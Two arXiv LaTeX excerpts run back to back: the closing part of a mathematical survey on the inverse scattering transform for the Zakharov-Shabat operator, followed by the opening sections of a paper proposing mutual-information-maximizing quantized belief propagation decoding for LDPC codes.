i.e.
$$
S(k) =
\left(
\begin{array}{cc}
\overline{a(k)} & -\overline{b(k)} \\
b(k) & a(k)
\end{array}
\right), \ \ \ |a(k)|^2 + |b(k)|^2 = 1.
$$
\end{itemize}
The following quantities
$$
T(k) = \frac{1}{a(k)}, \ \ \ R(k) = \frac{b(k)}{a(k)}
$$
are called {\it the transmission coefficient} and {\it the
reflection coefficient} respectively. The operator $L$ is called
reflectionless if its reflection coefficient vanishes: $R(k) \equiv
0$.
The vector functions $\varphi_1^- e^{-ikx}$ and
$\varphi_2^+e^{ikx}$ are analytically continued onto the lower
half-plane ${\mathrm{Im}\, } k <0$, and the vector functions
$\varphi_2^-e^{ikx}$ and $\varphi_1^+e^{-ikx}$ are analytically
continued onto the upper half-plane ${\mathrm{Im}\, } k >0$.
Without loss of generality it is enough to prove that for
$\varphi_1^- e^{-ikx}$. This function satisfies the equation of
the Volterra type
$$
f(x,k) = \left(
\begin{array}{c} 0 \\ 1 \end{array}\right) -
\int_{-\infty}^x \left(\begin{array}{cc} 0 & -e^{-2ik(x-x^\prime)}
\\ 1 & 0 \end{array}\right)
\left(\begin{array}{cc} p & 0 \\ 0 & q \end{array}\right)
f(x^\prime,k)dx^\prime
$$
and since the integral kernel decays exponentially for ${\mathrm{Im}\, } k <0$
the Neumann series for its solution converges in this half-plane.
This implies that
\begin{itemize}
\item
$T(k)$ is analytically continued onto the upper-half plane ${\mathrm{Im}\, } k
\geq 0$. \end{itemize}
It is shown that
\begin{itemize}
\item
$a(k)$ vanishes nowhere on ${\mathbb R} \setminus \{0\}$;
\item
the poles of $T(k)$ correspond to {\it bounded states}, i.e., to
solutions to (\ref{zs1}) which decay exponentially as $x \rightarrow
\pm \infty$. These solutions are $\varphi^+_1(x,\varkappa)$ and
$\varphi^-_2(x,\varkappa)$ where $a(\varkappa) = 0$ and, therefore,
\begin{equation} \label{zs5} \varphi^-_2(x,\varkappa) = \mu(\varkappa)
\varphi^+_1(x,\varkappa), \ \ \ \mu(\varkappa) \in {\mathbb C}, \end{equation} and the
multiplicity of each eigenvalue $\varkappa$ equals to one;
\item
$T(k)$ has only simple poles in $\mbox{Im}\, k > 0$ and for
exponentially decaying potentials there are finitely many such
poles;
\item
since the set of solutions to (\ref{zs1}) is invariant under
(\ref{zs3}), the discrete spectrum of $L$ is preserved by the
complex conjugation $\varkappa \rightarrow \bar{\varkappa}$ and is
formed by the poles of $T(k)$ and their complex conjugates. \end{itemize}
{\it The spectral data} of $L$ consist of
1) the reflection coefficient $R(k), k \neq 0$;
2) the poles of $T(k)$ in the upper-half plane ${\mathrm{Im}\, } \varkappa >0$:
$\varkappa_1,\dots,\varkappa_N$;
3) the quantities $\lambda_j=i\gamma_j \mu_j, j=1,\dots,N$, where
$\gamma_j = \gamma(\varkappa_j)$ is the residue of $T(k)$ at
$\varkappa_j$ and $\mu_j = \mu(\varkappa_j)$ (see (\ref{zs5})).
If the potential $p=\bar{q}$ is real-valued then
$$
\varphi^{\pm}_j(x,-k) = \overline{\varphi^{\pm}_j(x,k)} \ \ \
\mbox{for $k \in {\mathbb R} \setminus \{0\}$}
$$
and this implies that
$$
a(k) = \overline{a(-k)}, \ \ \ R(k) = \overline{R(-k)}, \ \ \ T(k)
= \overline{T(-\bar{k})},
$$
the poles of $T(k)$ are symmetric with respect to the imaginary
axis, and
$$
\lambda_j = \bar{\lambda}_k \ \ \ \mbox{for $\varkappa_j =
-\bar{\varkappa}_k$}.
$$
Now by applying the Fourier transform (with respect to $k$) to
both sides of the equality
\begin{equation}
\label{zs6}
T(k) \varphi^-_2 = R(k)\varphi^+_1
+ \varphi_2^+
\end{equation}
after some substitutions we write the equations (\ref{zs6}) for the
components of the vector functions in the form of the Gelfand--Levitan--Marchenko equations
$$
B_2(x,y) + \int_x^{+\infty} B_1(x,x')\Omega(x'+y) \, d x' = 0,
$$
$$
\Omega(x+y) - B_1(x,y) + \int_x^{+\infty} B_2(x,x') \Omega(x'+y)\, d x' = 0
$$
for $B_1$ and $B_2$ with
$$
\Omega(z) = \frac{1}{2\pi}\int_{-\infty}^{+\infty} R(k)e^{-i k z}
\, d k - \sum_{j=1}^N \lambda_j e^{i\varkappa_j z}
$$
where $y>x$ and there are the following limits
$$
\lim_{y \to \infty} B_k(x,y) = 0, \ \ \lim_{y \to x+} B_k(x,y) =
B_k(x,x), \ \ \ k=1,2,
$$
These equations are the Volterra type and are resolved uniquely.
The reconstruction formulas for the potentials are as follows:
\begin{equation}
\label{zs7}
p(x) = - 2 B_1(x,x), \ \ \
p(x)q(x) = p(x)\overline{p(x)} =
2 \frac{dB_2(x,x)}{dx}.
\end{equation}
See the detailed derivation of this formulas from \cite{ZS},
for instance, in \cite{Ablowitz}.
In the sequel, for simplicity,
we assume that the potential $p(x)$ is real-valued.
In \cite{Faddeev} a series of formulas expressing the Kruskal integrals in terms of the spectral data,
i.e. the so-called trace formulas,
is derived. We mention only the formula for the first nontrivial integral:
\begin{equation}
\label{zs8}
\int^\infty_{-\infty} p^2(x)dx = -\frac{1}{\pi} \int^\infty_{-\infty} \log (1-|b(k)|^2)dk + 4 \sum_{j=1}^N
{\mathrm{Im}\, } \varkappa_j.
\end{equation}
For reflectionless operators the reconstruction procedure reduces to
algebraic equations (see details, for instance, in
\cite{ZS,Ablowitz,T21}). The spectral data consist of the poles
$\varkappa_k$ and the corresponding quantities $\lambda_j$,
$j=1,\dots,N$. Put
$$
\Psi(x) = (-\lambda_1 e^{i\varkappa_1 x}, \dots, -\lambda_N e^{i\varkappa_N x}),
$$
$$
M_{j k}(x) =
\frac{\lambda_k}{i(\varkappa_j +\varkappa_k)}e^{i(\varkappa_j+\varkappa_k)x}, \ \ \
j,k=1,\dots,N.
$$
We have
\begin{equation}
\label{zs9}
\begin{split}
p(x) =
2 \frac{d}{d x}
\arctan \frac{{\mathrm{Im}\, } \det (1 + i M(x))}{{\mathrm{Re}\, } \det (1 + i M(x))},
\\
\varphi^+_1(x,k) =
\left(
\begin{array}{c}
\langle \Psi(x) \cdot (1+M^2(x))^{-1} | W(x,k) \rangle \\
e^{i k x} -
\langle \Psi(x) \cdot (1+M^2(x))^{-1} M(x) | W(x,k) \rangle
\end{array}
\right)
\end{split}
\end{equation}
where
$\langle u | v \rangle = u_1 v_1 + \dots + u_N v_N$ and
$$
W(x,k) =
\left(
\frac{i}{\varkappa_1 + k}e^{i ( \varkappa_1 + k)x}, \dots ,
\frac{i}{\varkappa_N + k}e^{i ( \varkappa_N + k)x}
\right).
$$
}
\medskip
{\bf Acknowledgement.}
This survey was started and a large part of it was written
during author's stay at Max Plank Institute of Mathematics (MPIM) in
October 2003 -- January 2004 and the final proofreadings were done during his
stay at the same institute in December 2005.
\medskip
\addcontentsline{toc}{section}{References}
|
1,477,468,750,053 | arxiv | \section{Introduction}
Low-density parity-check (LDPC) codes\cite{Gallager62} have been widely applied to communication and data storage systems due to their capacity approaching performance.
Many of these systems, such as the NAND flash memory, have strict requirements on the memory consumption and implementation complexity of LDPC decoding \cite{ chen2018rate, aslam2017edge, Romero16}.
For the sake of simple hardware implementation, many efforts have been devoted to efficiently represent messages for LDPC decoding
\cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15, Richardson01capacity, Lee05, Thorpe02, planjery2013finite, declercq2013finite, cai2014finite, Chen05}.
Among them, Chen \textit{et. al} \cite{Chen05} approximated the belief propagation (BP) algorithm by representing log-likelihood ratios (LLRs) with a low resolution, generally 5 to 7 bits.
The works in \cite{planjery2013finite, declercq2013finite, cai2014finite, Richardson01capacity, Lee05, Thorpe02, Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15} focused on finite alphabet iterative decoding (FAID), which makes use of messages represented by symbols from finite alphabets instead of messages represented by LLRs.
FAID algorithms with messages represented by 3 to 4 bits can approach and even surpass the performance of the floating-point BP algorithm \cite{planjery2013finite, declercq2013finite, cai2014finite, Richardson01capacity, Lee05, Thorpe02, Kurkoski08, Romero15decoding, Romero16, lewandowsky2019design, meidlinger2020design, Meidlinger15, Lewandowsky16, Lewandowsky18}.
Because the BP decoder may suffer from a high error floor due to the existing of small absorbing sets \cite{Richardson03}, the FAID algorithms \cite{planjery2013finite, declercq2013finite, cai2014finite} optimized the decoding of LDPC codes with variable node (VN) degree of three over the binary symmetric channel (BSC), by making use of the knowledge of the absorbing sets contained in the code graphs.
As a result, the FAID algorithms \cite{planjery2013finite, declercq2013finite, cai2014finite} can surpass the BP algorithm in the error floor region.
However, it is not easy to apply the FAID algorithms to decode LDPC codes with VN degrees larger than three due to high computational complexity involved in the optimization.
Furthermore, it is challenging to extend the FAID algorithms to the other channels, such as the
additive white Gaussian noise (AWGN) channel.
Non-uniform quantized BP (QBP) algorithms were investigated in \cite{Richardson01capacity, Lee05, Thorpe02}, where a decoder was implemented based on simple mappings and additions (including subtractions).
However, since only the decoding of the (3, 6) LDPC code (code with VN degree 3 and check node (CN) degree 6) is considered and significant amount of manual optimization is needed for the decoder design \cite{Richardson01capacity, Lee05, Thorpe02}, we can hardly generalize the design to a different scenario.
Recently, mutual information-maximizing lookup table (MIM-LUT) decoding was considered in \cite{Kurkoski08, Romero15decoding, Romero16, lewandowsky2019design, meidlinger2020design, Meidlinger15, Lewandowsky16, Lewandowsky18}.
An MIM-LUT decoder uses table lookup operations to replace arithmetic operations, which can simplify the hardware implementation and increase the decoding throughput \cite{ghanaatian2018a588, balatsoukas2015fully}.
However, unaffordable memory consumption may be incurred when the sizes of the lookup tables (LUTs) are large.
To avoid this problem, these tables were decomposed into small tables at the cost of degraded error performance of the decoder \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15}.
In this paper, we propose a method, called mutual information-maximizing quantized belief propagation (MIM-QBP) decoding, to remove the tables used for MIM-LUT decoding \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15}.
The MIM-QBP decoding can greatly reduce the memory consumption, and can also avoid the error performance loss due to table decomposition in the MIM-LUT decoding.
Our method leads to a hardware-friendly decoder, the MIM-QBP decoder, which can be implemented based only on simple mappings and fixed-point additions (including subtractions).
From this point of view, our decoder works similarly to those presented by \cite{Richardson01capacity, Lee05, Thorpe02}, but instead of using manual optimization, we propose an efficient and systematic design of the key functions of the MIM-QBP decoder.
Simulation results show that the MIM-QBP decoder can considerably outperform the state-of-the-art MIM-LUT decoder \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15}.
Moreover, the MIM-QBP decoder with only 3 bits per message can outperform the floating-point BP decoder at high signal-to-noise ratio (SNR) regions when testing on high-rate codes with a maximum of 10--30 iterations.
The remainder of this paper is organized as follows.
Section \ref{section: preliminaries} first introduces the optimal quantization method for binary-input discrete memoryless channel (DMC), and then gives a review of the MIM-LUT decoding and also highlights the linkage between the two topics.
Section \ref{section: MIM-QBP decoding} proposes the general framework of the MIM-QBP decoding for regular LDPC codes.
Section \ref{section: design of MIM-QBP decoder} develops an efficient design of the key functions of the MIM-QBP decoder.
Section \ref{section: simulation results} presents the simulation results.
Finally, Section \ref{section: conclusion} concludes this paper.
\section{Preliminaries}
\label{section: preliminaries}
\subsection{Mutual Information-Maximizing Quantization of Binary-Input DMC}\label{section: DP quantization}
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_DMC.pdf}
\caption{Quantization of a discrete memoryless channel (DMC).}
\label{fig: DMC}
\end{figure}
Due to the strong linkage between the mutual information-maximizing (MIM) based channel quantization and the MIM based LDPC decoding message quantization, we first review the quantization of a binary-input DMC.
As shown by Fig. \ref{fig: DMC}, the channel input $X$ takes values from $\mathcal{X} = \{0, 1\}$ with probability $P_X(0)$ and $P_X(1)$, respectively.
The channel output $Y$ takes values from $\mathcal{Y} = \{y_1, y_2, \ldots, y_N\}$ with channel transition probability given by $P_{Y|X}(y_j | x) = Pr(Y = y_j | X = x)$, where $x = 0, 1$ and $j = 1, 2, \ldots, N$.
The channel output $Y$ is quantized to $Z$ which takes values from $\mathcal{Z} = \{1, 2, \ldots, M\}$.
A well-known criterion for channel quantization \cite{Kurkoski14, he2019dynamicISIT} is to design a quantizer $Q^*: \mathcal{Y} \to {Z}$ to maximize the mutual information (MI) between $X$ and $Z$, i.e.
\begin{align}\label{eqn: MI quantizer Q*}
Q^* &= \arg \max_{Q} I(X; Z)\nonumber\\
&= \arg \max_{Q} \sum_{x \in \mathcal{X}, z \in \mathcal{Z}} P_{X,Z}(x,z) \log \frac{P_{X,Z}(x,z)}{P_{X}(x) P_{Z}(z)},
\end{align}
where $P_{X, Z}(x, z) = P_{X}(x) \sum_{y \in \mathcal{Y}} P_{Y|X}(y|x) P_{Z|Y}(z|y)$ and $P_Z(z) = \sum_{x \in \mathcal{X}} P_{X, Z}(x, z)$.
A deterministic quantizer (DQ) $Q: \mathcal{Y} \to \mathcal{Z}$ means that for each $y \in \mathcal{Y}$, there exists a unique $z \in \mathcal{Z}$ such that $P_{Z|Y}(z|y) = 1$ and $P_{Z|Y}(z'|y) = 0$ for $z \neq z' \in \mathcal{Z}$.
Let $Q^{-1}(z) \subset \mathcal{Y}$ denote the preimage of $z \in \mathcal{Z}$.
We name $Q$ a sequential deterministic quantizer (SDQ) \cite{he2019dynamicISIT} if it can be equivalently described by an integer set $\Lambda = \{\lambda_0, \lambda_1, \ldots, \lambda_{M-1}, \lambda_M\}$ with $\lambda_0 = 0 < \lambda_1 < \cdots < \lambda_{M-1} < \lambda_M = N$ in the way given below
\begin{equation*}
\left\{
\begin{array}{l}
Q^{-1}(1) \,\,\,= \{{y_1, y_2, \ldots, y_{\lambda_1}}\},\\
Q^{-1}(2) \,\,\,= \{y_{\lambda_1 + 1}, y_{\lambda_1 + 2}, \ldots, y_{\lambda_2}\},\\
\quad\quad\quad\quad\vdots\\
Q^{-1}(M) = \{y_{\lambda_{M-1} + 1}, y_{\lambda_{M-1} + 2}, \ldots, y_{\lambda_M}\}.
\end{array}
\right.
\end{equation*}
We thus also name $\Lambda$ an SDQ.
According to \cite{Kurkoski14}, $Q^*$ in \eqref{eqn: MI quantizer Q*} must be deterministic; meanwhile, $Q^*$ is an optimal SDQ when elements in $\mathcal{Y}$ are relabelled to satisfy
\begin{equation}\label{eqn: LLR increasing}
\frac{P_{Y|X}(y_1|0)}{P_{Y|X}(y_1|1)} \geq \frac{P_{Y|X}(y_2|0)}{P_{Y|X}(y_2|1)} \geq \cdots \geq \frac{P_{Y|X}(y_{N}|0)}{P_{Y|X}(y_N|1)},
\end{equation}
where if $P_{Y|X}(\cdot|1) = 0$, we regard $\frac{P_{Y|X}(\cdot|0)}{P_{Y|X}(\cdot|1)} = \infty$ as the largest value.
Note that after merging any two elements $y, y' \in \mathcal{Y}$ with $P_{Y|X}(y|0)/{P_{Y|X}(y|1)} = P_{Y|X}(y'|0)/{P_{Y|X}(y'|1)}$, the resulting optimal quantizer is as optimal as the original one \cite{Kurkoski14}.
A method based on dynamic programming (DP) \cite[Section 15.3]{IntroAlgo01} was proposed in \cite{Kurkoski14} to find $Q^*$ with complexity $O((N-M)^2 M)$.
Moreover, a general framework has been developed in \cite{he2019dynamicISIT} for applying DP to find an optimal SDQ $\Lambda^*$ to maximize $I(X; Z)$, for cases that the labeling of the elements in $\mathcal{Y}$ is fixed and $\Lambda^*$ is an SDQ.
\subsection{MIM-LUT Decoder Design for Regular LDPC Codes}
\label{section: MIM-LUT}
Consider a binary-input DMC.
Denote the channel input by $X$ which takes values from $\mathcal{X} = \{0, 1\}$ with equal probability, i.e., $P_X(0) = P_X(1) = 1/2$.
Denote $L$ as the DMC output which takes values from $\mathcal{L} = \{0, 1, \ldots, |\mathcal{L}|-1\}$ with channel transition probability $P_{L|X}$.
Consider the design of a quantized message passing (MP) decoder for a regular $(d_v, d_c)$ LDPC code.
Denote $\mathcal{R} = \{0, 1, \ldots, |\mathcal{R}|-1\}$ and $\mathcal{S} = \{0, 1, \ldots, |\mathcal{S}|-1\}$ as the alphabets of messages passed from VN to CN and CN to VN, respectively.
Note that $\mathcal{L}, \mathcal{R}, \mathcal{S}$ and their related functions may or may not vary with iterations.
We use these notations without specifying the associated iterations, since after specifying the decoder design for one iteration, the design is clear for all the other iterations.
For the message $R \in \mathcal{R}$ (resp. $S \in \mathcal{S}$) passed from VN to CN (resp. CN to VN), we use $P_{R|X}$ (resp. $P_{S|X}$) to denote the probability mass function (pmf) of $R$ (resp. $S$) conditioned on the channel input bit $X$.
If the code graph is cycle-free, $R$ (resp. $S$) conditioned on $X$ is independent and identically distributed (i.i.d.) with respect to different edges for a given iteration.
The design of the MIM-LUT decoder \cite{Kurkoski08, Romero15decoding, Romero16, lewandowsky2019design, meidlinger2020design, Meidlinger15, Lewandowsky16, Lewandowsky18} is carried out by using density evolution \cite{Chung01, Richardson01capacity} (by tracing $P_{R|X}$ and $P_{S|X}$) with the assumption of a cycle-free code graph.
However, the MIM-LUT decoder can work well on code graphs containing cycles.
For each iteration, we first design the update function (UF)
\begin{equation}\label{eqn: def of Q_c}
Q_{c}: \mathcal{R}^{d_c - 1} \to \mathcal{S}
\end{equation}
for the CN update, which is shown by Fig. \ref{fig: node update}(a).
The MIM-LUT decoding methods design $Q_{c}$ to maximize $I(X; S)$.
For easy understanding, we can equivalently convert it to the problem of DMC quantization, as shown by Fig. \ref{fig: CN_update_channel}.
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_node_update.pdf}
\caption{Node update for mutual information-maximizing lookup table (MIM-LUT) decoding, where the circle and square represent a variable and check node, respectively. (a) Check node update. (b) Variable node update.}
\label{fig: node update}
\end{figure}
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_CN_update_channel.pdf}
\caption{Quantization of a discrete memoryless channel (DMC), where the quantizer works exactly the same as the check node update function $Q_c$ for the mutual information-maximizing lookup table (MIM-LUT) decoding shown by Fig. \ref{fig: node update}(a).}
\label{fig: CN_update_channel}
\end{figure}
We assume $P_{R|X}$ is known, since for the first iteration, $P_{R|X}$ can be solely derived from the channel transition probability $P_{L|X}$, and for the other iteration, $P_{R|X}$ is known after the design at VN is completed.
The joint distribution $P_{\mathbf{R}|X}$ of the incoming message $\mathbf{R} \in \mathcal{R}^{d_c - 1}$ conditioned on the channel input bit $X$ at a CN (i.e., the channel transition probability $P_{\mathbf{R}|X}$ of the DMC shown by Fig. \ref{fig: CN_update_channel}) is given by \cite{Romero16}
\begin{equation}\label{eqn: joint P_R|X}
P_{\mathbf{R}|X}(\mathbf{r}|x) = \left(\frac{1}{2}\right)^{\dim(\mathbf{r}) - 1} \sum_{\mathbf{x}: \oplus \mathbf{x} = x} \prod_{i = 1}^{\dim(\mathbf{r})} P_{R|X}(r_i|x_i),
\end{equation}
where $\mathbf{r} = (r_1, r_2, \ldots, r_{d_c - 1}) \in \mathcal{R}^{d_c - 1}$ is a realization of $\mathbf{R}$, $\dim(\mathbf{r}) = d_c - 1$ is the dimension of $\mathbf{r}$, $x \in \mathcal{X}$ is a realization of $X$, $\mathbf{x} = (x_1, x_2, \ldots, x_{d_c - 1}) \in \mathcal{X}^{d_c - 1}$ consists of channel input bits corresponding to the VNs associated with incoming edges, and $\oplus \mathbf{x} = x_1 \oplus x_2 \oplus \cdots \oplus x_{d_c - 1}$ with $\oplus$ denoting the addition in $GF(2)$.
Based on \eqref{eqn: joint P_R|X}, we have
\begin{equation}\label{eqn: P(R|0) - P(R|1)}
\left\{
\begin{array}{l}
P_{\mathbf{R}|X}(\mathbf{r}|0) \pm P_{\mathbf{R}|X}(\mathbf{r}|1) = \left(\frac{1}{2}\right)^{\dim(\mathbf{r}) - 1} \times \\
\quad\quad\quad\quad\quad \prod_{i=1}^{\dim(\mathbf{r})} (P_{R|X}(r_i | 0) \pm P_{R|X}(r_i | 1)),\\
P_{X|\mathbf{R}}(0|\mathbf{r}) \pm P_{X|\mathbf{R}}(1|\mathbf{r}) = \\
\quad\quad\quad\quad\quad \prod_{i=1}^{\dim(\mathbf{r})} (P_{X|R}(0 | r_i) \pm P_{X|R}(1 | r_i)).
\end{array}
\right.
\end{equation}
Given $P_{\mathbf{R}|X}$, the design of $Q_c$ is equivalent to the design of $Q^*$ in \eqref{eqn: MI quantizer Q*} by setting $\mathcal{Y} = \mathcal{R}^{d_c - 1}$ and $\mathcal{Z} = \mathcal{S}$.
We can solve this design problem by using the DP method proposed in \cite{Kurkoski14}, after listing $\mathbf{r}$ in descending order based on $P_{\mathbf{R}|X}(\mathbf{r}|0) / P_{\mathbf{R}|X}(\mathbf{r}|1)$ (see \eqref{eqn: LLR increasing}).
After designing $Q_{c}$, a LUT is typically used for storing $Q_{c}$, and the output message $S$ is passed to the CN's neighbour VNs, with $P_{S|X}$ being given by
\begin{equation}\label{eqn: P(S|X)}
P_{S|X}(s|x) = \sum_{\mathbf{r} \in Q_c^{-1}(s)} P_{\mathbf{R} | X}(\mathbf{r} | x).
\end{equation}
We then proceed to design the UF
\begin{equation}\label{eqn: def of Q_v}
Q_{v}: \mathcal{L} \times \mathcal{S}^{d_v - 1} \to \mathcal{R}
\end{equation}
for the VN update, which is shown by Fig. \ref{fig: node update}(b).
The MIM-LUT decoding methods also design $Q_{v}$ to maximize $I(X; R)$.
For easy understanding, we can equivalently convert it to the problem of DMC quantization, as shown by Fig. \ref{fig: VN_update_channel}.
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_VN_update_channel.pdf}
\caption{Quantization of a discrete memoryless channel (DMC), where the quantizer works exactly the same as the variable node update function $Q_v$ for the mutual information-maximizing lookup table (MIM-LUT) decoding shown by Fig. \ref{fig: node update}(b).}
\label{fig: VN_update_channel}
\end{figure}
The joint distribution $P_{L,\mathbf{S}|X}$ of incoming message $(L, \mathbf{S}) \in \mathcal{L} \times \mathcal{S}^{d_v - 1}$ conditioned on the channel input bit $X$ at a VN (i.e., the channel transition probability $P_{L, \mathbf{S}|X}$ of the DMC shown by Fig. \ref{fig: VN_update_channel}) is given by\cite{Romero16}
\begin{equation}\label{eqn: joint P_L,S|X}
P_{L,\mathbf{S}|X}(l, \mathbf{s}|x) = P_{L|X}(l|x) \prod_{i = 1}^{\dim(\mathbf{s})} P_{S|X}(s_i|x),
\end{equation}
where $l \in \mathcal{L}$ is a realization of $L$, $\mathbf{s} = (s_1, s_2, \ldots, s_{d_v - 1}) \in \mathcal{S}^{d_v - 1}$ is a realization of $\mathbf{S}$, $\dim(\mathbf{s}) = d_v - 1$ is the dimension of $\mathbf{s}$, and $x \in \mathcal{X}$ is a realization of $X$.
Given $P_{L, \mathbf{S}|X}$, the design of $Q_{v}$ is equivalent to the design of $Q^*$ in \eqref{eqn: MI quantizer Q*} by setting $\mathcal{Y} = \mathcal{L} \times \mathcal{S}^{d_v - 1}$ and $\mathcal{Z} = \mathcal{R}$.
We can solve this design problem by using the DP method proposed in \cite{Kurkoski14}, after listing $(l, \mathbf{s})$ in descending order based on $P_{L,\mathbf{S}|X}(l, \mathbf{s}|0) / P_{L,\mathbf{S}|X}(l, \mathbf{s}|1)$ (see \eqref{eqn: LLR increasing}).
After designing $Q_{v}$, a LUT is typically used for storing $Q_{v}$, and the output message $R$ is passed to the VN's neighbour CNs, with $P_{R|X}$ given by
\begin{equation}\label{eqn: P(R|X)}
P_{R|X}(r|x) = \sum_{(l, \mathbf{s}) \in Q_v^{-1}(r)} P_{L, \mathbf{S} | X}(l, \mathbf{s} | x).
\end{equation}
For each iteration, we can design the estimation function
\begin{equation}\label{eqn: def of Q_e}
Q_{e}: \mathcal{L} \times \mathcal{S}^{d_v} \to \mathcal{X}
\end{equation}
to estimate the channel input bit corresponding to each VN.
The design of $Q_e$ can be carried out similarly to that of $Q_v$.
The main differences involved in the design lie in the aspect that i) the incoming message alphabet $\mathcal{L} \times \mathcal{S}^{d_v - 1}$ is changed to $\mathcal{L} \times \mathcal{S}^{d_v}$; and ii) the outgoing message alphabet $\mathcal{R}$ is changed to $\mathcal{X}$.
We thus ignore the details.
After completing the design of $Q_c$, $Q_v$, and $Q_e$ for all iterations, the design of the MIM-LUT decoder is completed.
In general, $|\mathcal{L}| = |\mathcal{R}| = |\mathcal{S}| = 8$ (resp. $16$) is used for all iterations, leading to a 3-bit (resp. 4-bit) decoder.
Given $|\mathcal{L}|, |\mathcal{R}|, |\mathcal{S}|$, and the maximum allowed decoding iterations, the performance of the MIM-LUT decoder depends greatly on the choice of $P_{L|X}$, which is essentially determined by the design noise standard derivation $\sigma_{d}$.
The maximum noise standard derivation $\sigma^*$, which can make $I(X; R)$ approach 1 after reaching the maximum decoding iteration, is called the decoding threshold.
Empirically, a good $\sigma_{d}$ should be around $\sigma^*$ as investigated in \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15}.
When implementing the MIM-LUT decoding, $Q_{c}$, $Q_{v}$, and $Q_{e}$ are implemented by using LUTs.
The sizes of tables for implementing $Q_{c}$, $Q_{v}$, and $Q_{e}$ are $|\mathcal{R}|^{d_c - 1}$, $|\mathcal{L}| \cdot |\mathcal{S}|^{d_v - 1}$, and $|\mathcal{L}| \cdot |\mathcal{S}|^{d_v}$, respectively.
Thus, a huge memory requirement may arise when the sizes of the tables are large in practice.
To solve this problem, current MIM-LUT decoding methods \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15} decompose $Q_{c}$, $Q_{v}$, and $Q_{e}$ into a series of subfunctions, each working on two incoming messages.
The decomposition can significantly reduce the cost for storage.
However, it will degrade the performance of $Q_{c}$, $Q_{v}$, and $Q_{e}$ compared to the case without decomposition.
\section{MIM-QBP Decoding for Regular LDPC Codes}
\label{section: MIM-QBP decoding}
To overcome the drawback of the MIM-LUT decoding methods \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15} due to the use of LUTs, in this section, we propose a method, called MIM-QBP decoding, which is implemented based only on simple mappings and additions.
The MIM-QBP decoding can handle all incoming messages at a given node (CN or VN) at the same time without causing any storage problem.
As a result, the MIM-QBP decoding can greatly reduce the memory consumption and avoid the error performance loss due to table decomposition in the MIM-LUT decoding.
The proposed MIM-QBP decoding algorithm is presented in the next two subsections, for the updates at CN and VN, respectively.
\subsection{CN Update for MIM-QBP Decoding}\label{section: MIM-QBP decoding at CN}
The framework of CN update for MIM-QBP decoding is shown by Fig. \ref{fig: CN_update_MIMQBP}.
We implement the CN update with three steps:
First, we use a reconstruction function (RF) $\phi_c$ to map each incoming message symbol to a specific number;
second, we use a function $\Phi_c$ to combine all these numbers corresponding to the incoming messages together as defined by \eqref{eqn: def of Phi_c};
third, we use an SDQ $\Gamma_c$ to map the obtained combined number to the outgoing message symbol.
In this way, the CN UF $Q_c$ is fully determined by $\phi_c, \Phi_c$, and $\Gamma_c$.
In the rest of this subsection, we show the principles for designing $\phi_c, \Phi_c$, and $\Gamma_c$ so as to result in a $Q_c$ that can maximize $I(X; S)$.
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_CN_update_MIMQBP.pdf}
\caption{Check node update for mutual information-maximizing quantized belief propagation (MIM-QBP) decoding. The part enclosed by the dash square corresponds to the update operation in the CN of Fig. \ref{fig: node update}(a).}
\label{fig: CN_update_MIMQBP}
\end{figure}
First, we use an RF
\begin{equation}\label{eqn: def of phi_c}
\phi_c: \mathcal{R} \to \mathbb{D}
\end{equation}
to map each incoming message realization $r \in \mathcal{R}$ to a specific number $\phi_c(r)$ in the computational domain $\mathbb{D}$, where in general $\mathbb{D} = \mathbb{R}$ or $\mathbb{D} = \mathbb{Z}$ is considered.
Let $sgn(\alpha)$ be the sign of $\alpha \in \mathbb{R}$, and
\[
sgn(\alpha) =
\begin{cases}
-1 & \alpha < 0,\\
0 & \alpha = 0,\\
1 & \alpha > 0.
\end{cases}
\]
For $r \in \mathcal{R}$, let
\[
LLR(r) = \log \left( P_{X|R}(0|r) / P_{X|R}(1|r) \right).
\]
A good choice for $\phi_c(r)$ is that
\begin{align}\label{eqn: require phi_c}
\left\{
\begin{array}{l}
sgn(\phi_c(r)) = sgn(LLR(r)),\\
|\phi_c(r)| \propto \frac{1}{|LLR(r)|}.
\end{array}
\right.
\end{align}
In this way, we associate $\phi_c(r)$ to the channel input bit $X$ in the following way:
we predict $X$ to be 0 if $sgn(\phi_c(r)) > 0$ and to be 1 if $sgn(\phi_c(r)) < 0$, while $|\phi_c(r)|$ indicates the \emph{unreliability} of the prediction result (larger $|\phi_c(r)|$ means less reliability).
An efficient design of $\phi_c$ will be presented in Section \ref{section: MIM-QBP decoder at CN}.
Second, we represent each incoming message realization $\mathbf{r} \in \mathcal{R}^{d_c - 1}$ by
\begin{equation}\label{eqn: def of Phi_c}
\Phi_c(\mathbf{r}) = \left( \prod_{i = 1}^{\dim(\mathbf{r})} sgn(\phi_c(r_i)) \right) \sum_{i = 1}^{\dim(\mathbf{r})} |\phi_c(r_i)|.
\end{equation}
We predict $X$ to be 0 if $sgn(\Phi_c(\mathbf{r})) = \prod_{i = 1}^{\dim(\mathbf{r})} sgn(\phi_c(r_i)) > 0$, and to be 1 if $sgn(\Phi_c(\mathbf{r})) < 0$, while $|\Phi_c(\mathbf{r})| = \sum_{i = 1}^{\dim(\mathbf{r})} |\phi_c(r_i)|$ indicates the \emph{unreliability} of the prediction result.
